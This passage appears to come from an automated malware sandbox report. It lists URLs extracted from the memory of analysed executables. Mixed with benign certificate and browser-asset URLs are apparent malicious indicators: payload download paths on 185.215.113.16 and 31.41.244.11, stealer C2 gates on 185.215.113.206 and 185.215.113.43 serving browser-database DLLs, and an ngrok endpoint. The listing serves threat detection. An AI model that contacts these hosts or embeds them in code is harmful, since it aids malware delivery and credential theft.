Source: skotes.exe, 00000018.00000002.3472465973.0000000000D59000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exem
Source: file.exe, 00000000.00000002.2772886640.0000000000DB8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: file.exe, 00000000.00000002.2771239675.0000000000325000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2772886640.0000000000D1E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: file.exe, 00000000.00000002.2772886640.0000000000D78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: file.exe, 00000000.00000002.2772886640.0000000000DB8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dll
Source: file.exe, 00000000.00000002.2772886640.0000000000DB8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dll#
Source: file.exe, 00000000.00000002.2772886640.0000000000DB8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dllC
Source: file.exe, 00000000.00000002.2772886640.0000000000D78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dll
Source: file.exe, 00000000.00000002.2772886640.0000000000DB8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dll
Source: file.exe, 00000000.00000002.2772886640.0000000000DB8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dllM
Source: file.exe, 00000000.00000002.2772886640.0000000000D78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dll
Source: file.exe, 00000000.00000002.2772886640.0000000000D78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dllu
Source: file.exe, 00000000.00000002.2772886640.0000000000DB8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dll1
Source: file.exe, 00000000.00000002.2772886640.0000000000D38000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dllbd
Source: file.exe, 00000000.00000002.2772886640.0000000000DAB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dll
Source: file.exe, 00000000.00000002.2772886640.0000000000D78000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2772886640.0000000000DB8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2796874074.00000000236C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: file.exe, 00000000.00000002.2772886640.0000000000D78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php_
Source: file.exe, 00000000.00000002.2772886640.0000000000D38000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpfi
Source: file.exe, 00000000.00000002.2772886640.0000000000D78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpg
Source: file.exe, 00000000.00000002.2771239675.0000000000325000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpion:
Source: file.exe, 00000000.00000002.2771239675.0000000000325000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206ngineer
Source: skotes.exe, 00000018.00000002.3472465973.0000000000D3E000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000018.00000002.3472465973.0000000000D95000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000018.00000002.3472465973.0000000000D28000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 00000018.00000002.3472465973.0000000000D95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php7b)
Source: skotes.exe, 00000018.00000002.3472465973.0000000000D95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpU
Source: skotes.exe, 00000018.00000002.3472465973.0000000000D95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpe
Source: skotes.exe, 00000018.00000002.3472465973.0000000000D95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpy
Source: skotes.exe, 00000018.00000002.3472465973.0000000000D3E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe
Source: skotes.exe, 00000018.00000002.3472465973.0000000000D3E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe50623847
Source: skotes.exe, 00000018.00000002.3472465973.0000000000D3E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe506238l
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: 2ae4e7be65.exe, 0000001D.00000003.3404788989.0000000007582000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://home.fvtekk5pn.top/LCXOUUtXgrKhKDLYSbzW17
Source: 2ae4e7be65.exe, 0000001D.00000003.3404788989.0000000007582000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://html4/loose.dtd
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: chromecache_451.5.dr	String found in binary or memory: http://www.broofa.com
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe, file.exe, 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000000.00000002.2790724112.000000001D392000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2800451696.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: file.exe, 00000000.00000003.2413214524.0000000023318000.00000004.00000020.00020000.00000000.sdmp, BGDGHJEH.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: 2ae4e7be65.exe, 0000001D.00000003.3404788989.0000000007582000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://ace-snapper-privately.ngrok-free.app/test/test
Source: 2ae4e7be65.exe, 0000001D.00000003.3404788989.0000000007582000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://ace-snapper-privately.ngrok-free.app/test/testFailed
Source: chromecache_451.5.dr	String found in binary or memory: https://apis.google.com
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://assets.msn.cn/resolver/
Source: 064fb166-0b2b-4929-87d9-28ad8c9be488.tmp.10.dr	String found in binary or memory: https://assets.msn.com
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://assets.msn.com/resolver/
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://bard.google.com/
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://bit.ly/wb-precache
Source: file.exe, 00000000.00000002.2796450979.00000000233DB000.00000004.00000020.00020000.00000000.sdmp, CBAKJEHDBGHIEBGCGDGH.0.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.
Source: file.exe, 00000000.00000002.2796450979.00000000233DB000.00000004.00000020.00020000.00000000.sdmp, CBAKJEHDBGHIEBGCGDGH.0.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://browser.events.data.msn.cn/
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://browser.events.data.msn.com/
Source: Reporting and NEL.10.dr	String found in binary or memory: https://bzib.nelreports.net/api/report?cat=bingbusiness
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://c.msn.com/
Source: file.exe, 00000000.00000003.2413214524.0000000023318000.00000004.00000020.00020000.00000000.sdmp, BGDGHJEH.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.2413214524.0000000023318000.00000004.00000020.00020000.00000000.sdmp, BGDGHJEH.0.dr, Web Data.9.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.2413214524.0000000023318000.00000004.00000020.00020000.00000000.sdmp, BGDGHJEH.0.dr, Web Data.9.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: manifest.json.9.dr	String found in binary or memory: https://chrome.google.com/webstore/
Source: manifest.json.9.dr	String found in binary or memory: https://chromewebstore.google.com/
Source: 88e2990b-7b33-4677-8387-aaa3ecc7cbe5.tmp.10.dr, 064fb166-0b2b-4929-87d9-28ad8c9be488.tmp.10.dr	String found in binary or memory: https://clients2.google.com
Source: manifest.json0.9.dr	String found in binary or memory: https://clients2.google.com/service/update2/crx
Source: 88e2990b-7b33-4677-8387-aaa3ecc7cbe5.tmp.10.dr, 064fb166-0b2b-4929-87d9-28ad8c9be488.tmp.10.dr	String found in binary or memory: https://clients2.googleusercontent.com
Source: file.exe, 00000000.00000002.2796450979.00000000233DB000.00000004.00000020.00020000.00000000.sdmp, CBAKJEHDBGHIEBGCGDGH.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg
Source: file.exe, 00000000.00000002.2796450979.00000000233DB000.00000004.00000020.00020000.00000000.sdmp, CBAKJEHDBGHIEBGCGDGH.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: 2ae4e7be65.exe, 0000001D.00000003.3404788989.0000000007582000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://curl.se/docs/alt-svc.html
Source: 2ae4e7be65.exe, 0000001D.00000003.3404788989.0000000007582000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://curl.se/docs/hsts.html
Source: 2ae4e7be65.exe, 0000001D.00000003.3404788989.0000000007582000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://curl.se/docs/http-cookies.html
Source: Reporting and NEL.10.dr	String found in binary or memory: https://deff.nelreports.net/api/report
Source: Reporting and NEL.10.dr	String found in binary or memory: https://deff.nelreports.net/api/report?cat=msn
Source: Reporting and NEL.10.dr	String found in binary or memory: https://deff.nelreports.net/api/report?cat=msnw
Source: manifest.json0.9.dr	String found in binary or memory: https://docs.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-autopush.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-0.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-1.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-2.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-3.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-4.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-5.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-6.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-preprod.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-staging.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive.google.com/
Source: file.exe, 00000000.00000003.2413214524.0000000023318000.00000004.00000020.00020000.00000000.sdmp, BGDGHJEH.0.dr, Web Data.9.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.2413214524.0000000023318000.00000004.00000020.00020000.00000000.sdmp, BGDGHJEH.0.dr, Web Data.9.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.2413214524.0000000023318000.00000004.00000020.00020000.00000000.sdmp, BGDGHJEH.0.dr, Web Data.9.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: 064fb166-0b2b-4929-87d9-28ad8c9be488.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net
Source: 000003.log4.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtrac
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_163_music.png/1.0.3/asset
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_dark.png/1.7.32/asset
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_hc.png/1.7.32/asset
Source: HubApps Icons.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_light.png/1.7.32/asset
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_hc.png/1.2.1/asset
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_dark.png/1.2.1/ass
Source: HubApps Icons.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/as
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_amazon_music_light.png/1.4.13/asset
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_apple_music.png/1.4.12/asset
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_bard_light.png/1.0.1/asset
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_dark.png/1.1.17/asset
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_dark.png/1.6.8/asset
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_light.png/1.1.17/asset
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_light.png/1.6.8/asset
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_hc.png/1.1.17/asset
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_hc.png/1.6.8/asset
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_hc.png/1.0.3/asset
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_maximal_dark.png/1.0.3/asset
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_maximal_light.png/1.0.3/asse
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_deezer.png/1.4.12/asset
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_demo_dark.png/1.0.6/asset
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_demo_light.png/1.0.6/asset
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_designer_color.png/1.0.14/asset
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_designer_hc.png/1.0.14/asset
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_hc.png/1.1.12/asset
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_dark.png/1.1.12/asset
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr, HubApps Icons.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_hc.png/1.2.0/asset
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_maximal_dark.png/1.2.0/asset
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_maximal_light.png/1.2.0/asset
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_excel.png/1.7.32/asset
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_facebook_messenger.png/1.5.14/asset
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_gaana.png/1.0.3/asset
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc.png/1.7.1/asset
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc_controller.png/1.7.1/asset
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc_joystick.png/1.7.1/asset
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark.png/1.7.1/asset
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark_controller.png/1.7.1/
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark_joystick.png/1.7.1/as
Source: HubApps Icons.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light_controller.png/1.7.1
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light_joystick.png/1.7.1/a
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_gmail.png/1.5.4/asset
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_help.png/1.0.0/asset
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_hc.png/0.1.3/asset
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_maximal_dark.png/0.1.3/asset
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_maximal_light.png/0.1.3/asset
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_iHeart.png/1.0.3/asset
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_hc.png/1.0.14/asset
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_maximal_dark.png/1.0.14/as
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_maximal_light.png/1.0.14/a
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_instagram.png/1.4.13/asset
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_ku_gou.png/1.0.3/asset
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_last.png/1.0.3/asset
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_dark.png/1.1.0/asset
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_hc.png/1.1.0/asset
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_light.png/1.1.0/asset
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_naver_vibe.png/1.0.3/asset
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_dark.png/1.4.9/asset
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_hc.png/1.4.9/asset
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_light.png/1.4.9/asset
